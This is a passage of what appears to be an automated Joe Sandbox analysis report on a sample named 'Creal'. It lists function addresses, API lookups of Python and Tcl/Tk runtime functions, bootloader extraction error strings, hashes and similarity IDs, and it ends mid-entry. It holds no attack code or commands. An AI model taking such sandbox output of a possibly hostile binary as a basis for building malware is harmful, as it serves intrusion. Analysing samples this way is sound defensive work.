GetProcAddress.KERNEL32(?,?,00000000,00007FF738B6346E), ref: 00007FF738B652C4
GetProcAddress.KERNEL32(?,?,00000000,00007FF738B6346E), ref: 00007FF738B652EC
GetProcAddress.KERNEL32(?,?,00000000,00007FF738B6346E), ref: 00007FF738B65314
GetProcAddress.KERNEL32(?,?,00000000,00007FF738B6346E), ref: 00007FF738B6533C
GetProcAddress.KERNEL32(?,?,00000000,00007FF738B6346E), ref: 00007FF738B65364

Strings

Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF738B657D6
PyUnicode_Decode, xrefs: 00007FF738B657E2
Failed to get address for Py_InitializeFromConfig, xrefs: 00007FF738B652AE
Failed to get address for PyModule_GetDict, xrefs: 00007FF738B6561E
PyMem_RawFree, xrefs: 00007FF738B655DA
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF738B65736
PyErr_Fetch, xrefs: 00007FF738B65422
Py_DecRef, xrefs: 00007FF738B651E6
Py_ExitStatusException, xrefs: 00007FF738B65245
Failed to get address for PySys_SetObject, xrefs: 00007FF738B657AE
Failed to get address for PyConfig_SetWideStringList, xrefs: 00007FF738B653EE
PyImport_AddModule, xrefs: 00007FF738B65512
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF738B6584E
PyMarshal_ReadObjectFromString, xrefs: 00007FF738B655B2
Failed to get address for PyErr_Fetch, xrefs: 00007FF738B6543E
Failed to get address for PyErr_Clear, xrefs: 00007FF738B65416
Py_DecodeLocale, xrefs: 00007FF738B65220
PyObject_Str, xrefs: 00007FF738B656CA
PyUnicode_DecodeFSDefault, xrefs: 00007FF738B6580A
Failed to get address for PyConfig_SetString, xrefs: 00007FF738B653C6
Failed to get address for PyMem_RawFree, xrefs: 00007FF738B655F6
Failed to get address for Py_DecodeLocale, xrefs: 00007FF738B6523C
PyEval_EvalCode, xrefs: 00007FF738B654EA
PyStatus_Exception, xrefs: 00007FF738B65742
Failed to get address for PyConfig_Read, xrefs: 00007FF738B65376
PyErr_Clear, xrefs: 00007FF738B653FA
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF738B656BE
Failed to get address for PyStatus_Exception, xrefs: 00007FF738B6575E
PyConfig_SetBytesString, xrefs: 00007FF738B65382
Failed to get address for PyList_Append, xrefs: 00007FF738B655A6
Failed to get address for Py_DecRef, xrefs: 00007FF738B65202
PyConfig_SetWideStringList, xrefs: 00007FF738B653D2
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF738B65556
Failed to get address for PyConfig_Clear, xrefs: 00007FF738B65326
PyErr_Occurred, xrefs: 00007FF738B65472
Failed to get address for PyImport_AddModule, xrefs: 00007FF738B6552E
Failed to get address for PyErr_Occurred, xrefs: 00007FF738B6548E
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF738B65466
Failed to get address for PyUnicode_FromString, xrefs: 00007FF738B65876
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF738B65826
PyErr_Print, xrefs: 00007FF738B6549A
Failed to get address for Py_IsInitialized, xrefs: 00007FF738B652D6
GetProcAddress, xrefs: 00007FF738B65209
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF738B65696
PyObject_SetAttrString, xrefs: 00007FF738B656A2
PyImport_ExecCodeModule, xrefs: 00007FF738B6553A
Failed to get address for Py_ExitStatusException, xrefs: 00007FF738B65261
Failed to get address for PyObject_Str, xrefs: 00007FF738B656E6
Failed to get address for PyUnicode_Decode, xrefs: 00007FF738B657FE
PyConfig_SetString, xrefs: 00007FF738B653AA
PyObject_CallFunction, xrefs: 00007FF738B6562A
Failed to get address for PyConfig_SetBytesString, xrefs: 00007FF738B6539E
PyErr_NormalizeException, xrefs: 00007FF738B6544A
Failed to get address for PyImport_ImportModule, xrefs: 00007FF738B6557E
PyObject_GetAttrString, xrefs: 00007FF738B6567A
Failed to get address for PyConfig_InitIsolatedConfig, xrefs: 00007FF738B6534E
PyList_Append, xrefs: 00007FF738B6558A
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF738B656F2
PySys_SetObject, xrefs: 00007FF738B65792
Failed to get address for Py_Finalize, xrefs: 00007FF738B65286
Failed to get address for PyEval_EvalCode, xrefs: 00007FF738B65506
PyUnicode_Join, xrefs: 00007FF738B65882
Py_Finalize, xrefs: 00007FF738B6526A
PyObject_CallFunctionObjArgs, xrefs: 00007FF738B65652
Py_IsInitialized, xrefs: 00007FF738B652BA
Failed to get address for PyPreConfig_InitIsolatedConfig, xrefs: 00007FF738B6570E
PyConfig_Clear, xrefs: 00007FF738B6530A
PyImport_ImportModule, xrefs: 00007FF738B65562
Py_PreInitialize, xrefs: 00007FF738B652E2
PyUnicode_FromFormat, xrefs: 00007FF738B65832
Failed to get address for PyErr_Print, xrefs: 00007FF738B654B6
PyUnicode_Replace, xrefs: 00007FF738B658AA
PyConfig_Read, xrefs: 00007FF738B6535A
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF738B655CE
Failed to get address for PyErr_Restore, xrefs: 00007FF738B654DE
Failed to get address for PyObject_CallFunction, xrefs: 00007FF738B65646
PySys_GetObject, xrefs: 00007FF738B6576A
PyUnicode_AsUTF8, xrefs: 00007FF738B657BA
Failed to get address for PyUnicode_Join, xrefs: 00007FF738B6589E
PyModule_GetDict, xrefs: 00007FF738B65602
PyRun_SimpleStringFlags, xrefs: 00007FF738B6571A
Py_InitializeFromConfig, xrefs: 00007FF738B65292
Failed to get address for PyUnicode_Replace, xrefs: 00007FF738B658C6
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF738B6566E
Failed to get address for Py_PreInitialize, xrefs: 00007FF738B652FE
PyUnicode_FromString, xrefs: 00007FF738B6585A
Failed to get address for PySys_GetObject, xrefs: 00007FF738B65786
PyErr_Restore, xrefs: 00007FF738B654C2
PyConfig_InitIsolatedConfig, xrefs: 00007FF738B65332

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyConfig_Clear$Failed to get address for PyConfig_InitIsolatedConfig$Failed to get address for PyConfig_Read$Failed to get address for PyConfig_SetBytesString$Failed to get address for PyConfig_SetString$Failed to get address for PyConfig_SetWideStringList$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyPreConfig_InitIsolatedConfig$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PyStatus_Exception$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetObject$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_ExitStatusException$Failed to get address for Py_Finalize$Failed to get address for Py_InitializeFromConfig$Failed to get address for Py_IsInitialized$Failed to get address for Py_PreInitialize$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-4266016200
Opcode ID: cf77275b4bf0387ff900e5ea28e17749df250fc4abdfb995cff073003fe970f9
Instruction ID: b0e84265e8fb5bc4580e5758692a1090102ea628c2b666d37cfcf005349a8dc7
Opcode Fuzzy Hash: cf77275b4bf0387ff900e5ea28e17749df250fc4abdfb995cff073003fe970f9
Instruction Fuzzy Hash: 6512A9A690AB43B0FE55FB14B860174E3A1AF04750BD45439C81E062A4FF7EB568F27E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B66EF0 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF738B66F07
GetProcAddress.KERNEL32 ref: 00007FF738B66F46
GetProcAddress.KERNEL32 ref: 00007FF738B66F6B
GetProcAddress.KERNEL32 ref: 00007FF738B66F90
GetProcAddress.KERNEL32 ref: 00007FF738B66FB8
GetProcAddress.KERNEL32 ref: 00007FF738B66FE0
GetProcAddress.KERNEL32 ref: 00007FF738B67008
GetProcAddress.KERNEL32 ref: 00007FF738B67030
GetProcAddress.KERNEL32 ref: 00007FF738B67058

Strings

Tcl_ThreadQueueEvent, xrefs: 00007FF738B6713E
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF738B66FF2
Tcl_Finalize, xrefs: 00007FF738B66FAE
Tcl_MutexLock, xrefs: 00007FF738B67076
Failed to get address for Tcl_GetVar2, xrefs: 00007FF738B671AA
Tcl_Alloc, xrefs: 00007FF738B67346
Tcl_Free, xrefs: 00007FF738B6736E
Failed to get address for Tcl_Free, xrefs: 00007FF738B6738A
Tcl_MutexUnlock, xrefs: 00007FF738B6709E
Tcl_EvalFile, xrefs: 00007FF738B672CE
Failed to get address for Tcl_GetString, xrefs: 00007FF738B67222
Tcl_SetVar2Ex, xrefs: 00007FF738B6727E
Tcl_FindExecutable, xrefs: 00007FF738B66F61
Tcl_EvalObjv, xrefs: 00007FF738B6731E
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF738B670E2
Tcl_GetVar2, xrefs: 00007FF738B6718E
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF738B67132
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF738B6715A
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF738B67272
Tcl_NewByteArrayObj, xrefs: 00007FF738B67256
Failed to get address for Tcl_Finalize, xrefs: 00007FF738B66FCA
Failed to get address for Tcl_EvalEx, xrefs: 00007FF738B67312
Tcl_GetCurrentThread, xrefs: 00007FF738B6704E
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF738B6733A
Tcl_CreateThread, xrefs: 00007FF738B67026
GetProcAddress, xrefs: 00007FF738B66F20
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF738B671FA
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF738B66F7D
Tcl_SetVar2, xrefs: 00007FF738B671B6
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF738B670BA
Tcl_GetString, xrefs: 00007FF738B67206
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF738B6706A
Failed to get address for Tcl_Init, xrefs: 00007FF738B66F19
Tcl_ConditionNotify, xrefs: 00007FF738B670EE
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF738B66F58
Failed to get address for Tcl_SetVar2, xrefs: 00007FF738B671D2
Tk_GetNumMainWindows, xrefs: 00007FF738B673BE
Tcl_EvalEx, xrefs: 00007FF738B672F6
Tcl_DoOneEvent, xrefs: 00007FF738B66F86
Failed to get address for Tk_Init, xrefs: 00007FF738B673B2
Tk_Init, xrefs: 00007FF738B67396
Tcl_DeleteInterp, xrefs: 00007FF738B66FFE
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF738B6724A
Tcl_GetObjResult, xrefs: 00007FF738B672A6
Failed to get address for Tcl_CreateThread, xrefs: 00007FF738B67042
Tcl_ConditionFinalize, xrefs: 00007FF738B670C6
Failed to get address for Tcl_MutexLock, xrefs: 00007FF738B67092
Failed to get address for Tcl_EvalFile, xrefs: 00007FF738B672EA
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF738B6729A
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF738B672C2
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF738B66FA2
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF738B67182
Tcl_NewStringObj, xrefs: 00007FF738B6722E
Tcl_ThreadAlert, xrefs: 00007FF738B67166
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF738B673DA
Tcl_CreateInterp, xrefs: 00007FF738B66F3C
Tcl_Init, xrefs: 00007FF738B66F00
Failed to get address for Tcl_Alloc, xrefs: 00007FF738B67362
Tcl_ConditionWait, xrefs: 00007FF738B67116
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF738B6710A
Tcl_CreateObjCommand, xrefs: 00007FF738B671DE
Tcl_FinalizeThread, xrefs: 00007FF738B66FD6
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF738B6701A

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-2208601799
Opcode ID: 7c721144a29f82c0df2178d2ac20e82e85a8926ad6b3cde14d1131664071774a
Instruction ID: 90e20eaf07e71bb048e564163ef79991833260ed09cf6590068ac0be2b768bed
Opcode Fuzzy Hash: 7c721144a29f82c0df2178d2ac20e82e85a8926ad6b3cde14d1131664071774a
Instruction Fuzzy Hash: 98E1D867A0DB43B0FE54FB18A850574E3A5AF05790BD8513AC81D07264EFBEB548B23E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B612B0 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF738B62B30: MessageBoxW.USER32 ref: 00007FF738B62C05

_fread_nolock.LIBCMT ref: 00007FF738B61499

Strings

Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF738B6132B
malloc, xrefs: 00007FF738B61377
%s%c%s, xrefs: 00007FF738B613EE
fread, xrefs: 00007FF738B614C6
\, xrefs: 00007FF738B613F5
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF738B61370
fseek, xrefs: 00007FF738B61332
Failed to extract %s: failed to open archive file!, xrefs: 00007FF738B612FE
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF738B614BF

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Message_fread_nolock
String ID: %s%c%s$Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$\$fread$fseek$malloc
API String ID: 3065259568-2316137593
Opcode ID: 74f82e27fb579c85c7ba0e576d4b577d37a6f76fa40177a346eb2883488d300d
Instruction ID: 51ca8da3261e5fd0b951b43c989ce2f278962f4c805011224e3e4ac4dde35095
Opcode Fuzzy Hash: 74f82e27fb579c85c7ba0e576d4b577d37a6f76fa40177a346eb2883488d300d
Instruction Fuzzy Hash: 7051EB23B08683A5FA20B725A8512FAE350EF447D4FC04031EE9D47796DE3DE505E719

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B623F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF738B6241B
SelectObject.GDI32 ref: 00007FF738B62462
DrawTextW.USER32 ref: 00007FF738B62485
SelectObject.GDI32 ref: 00007FF738B6249B
ReleaseDC.USER32 ref: 00007FF738B624AB
MoveWindow.USER32 ref: 00007FF738B624FB
MoveWindow.USER32 ref: 00007FF738B6253B
MoveWindow.USER32 ref: 00007FF738B6258E
MoveWindow.USER32 ref: 00007FF738B625D6

Strings

P%, xrefs: 00007FF738B6246F

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 7645c0c2d2fce03d3aab2d1fd33ee4a3925b53edade4cf92fedf68089910dc30
Instruction ID: 5ecdd18fd61b5b6a67857bc687cd15d448a9bfb66291db4775879aaba4cae017
Opcode Fuzzy Hash: 7645c0c2d2fce03d3aab2d1fd33ee4a3925b53edade4cf92fedf68089910dc30
Instruction Fuzzy Hash: B8510727604BA286D634AF32A0181BAF7A1FB98B61F004125EBDE43795DF3DD085DB24

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B767A4 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B767E7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B76BD4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B76E70

Strings

-, xrefs: 00007FF738B7687D
:, xrefs: 00007FF738B769A0
p, xrefs: 00007FF738B76899
p, xrefs: 00007FF738B76911
f, xrefs: 00007FF738B76909

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: c6ac63e3974c66327622d921c1304357062fd3cb2bcbfe9c56688102bfb98152
Instruction ID: 19ca76eba4c28726139fd4e107546fda8467a661bd78cd8980e9d2658111704f
Opcode Fuzzy Hash: c6ac63e3974c66327622d921c1304357062fd3cb2bcbfe9c56688102bfb98152
Instruction Fuzzy Hash: 3512B363E0C743A6FB647A1CD1542B9F6A1EF82750FC44035F689466C4DF3EE484AB2A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B71108 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B71148
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B71510
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B717AF

Strings

f, xrefs: 00007FF738B71395
f, xrefs: 00007FF738B7124A
p, xrefs: 00007FF738B71252
p, xrefs: 00007FF738B711ED
f, xrefs: 00007FF738B711E0

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 7160b50ef5c5d9843a5fd5f0d5cd643ebb1f382f7049b3f2f81a6a7c29ab944c
Instruction ID: e4dfc807052173ee53f50b5f4b99d5f3f795b0ed295d12e08ce355cc44854385
Opcode Fuzzy Hash: 7160b50ef5c5d9843a5fd5f0d5cd643ebb1f382f7049b3f2f81a6a7c29ab944c
Instruction Fuzzy Hash: F012A463E0C383A5FB64BA19D044679F665FF40750FC84135F69A466C4DB3EE480AB3A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B615A0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 99COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF738B61609
malloc, xrefs: 00007FF738B61640
fread, xrefs: 00007FF738B616C9
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF738B61639
fseek, xrefs: 00007FF738B61610
Failed to extract %s: failed to open archive file!, xrefs: 00007FF738B615D3
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF738B616C2

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: c6983c7592954f3a39778173421b25f66890f2bb9ba9267d1e50f181ae5f9720
Instruction ID: 77862e42676b1ce7bdc46a9e325e851ebd1b4a5577bf4996b8a6f0a59c10dcd8
Opcode Fuzzy Hash: c6983c7592954f3a39778173421b25f66890f2bb9ba9267d1e50f181ae5f9720
Instruction Fuzzy Hash: EE31A723B0C68365FA21FB55A4401B6E360FF047D4FC84031DE9D07A56EE3EE545A72A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B6EB00 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF738B6EB5D

Part of subcall function 00007FF738B6FA70: __GetUnwindTryBlock.LIBCMT ref: 00007FF738B6FAB3
Part of subcall function 00007FF738B6FA70: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF738B6FAD8

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF738B6EC35
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF738B6EE8A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF738B6EF96

Strings

csm, xrefs: 00007FF738B6EB77
csm, xrefs: 00007FF738B6EC58
csm, xrefs: 00007FF738B6EBDE

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 2b2a4badfdaa60d9abfb93841dcb65d735c0fc58e4118d1b5c2a51383b6331b7
Instruction ID: 3f2b66e62a94d7f18eb1759984a107c3ce64d1e03bbc8e071848f9accf27e60c
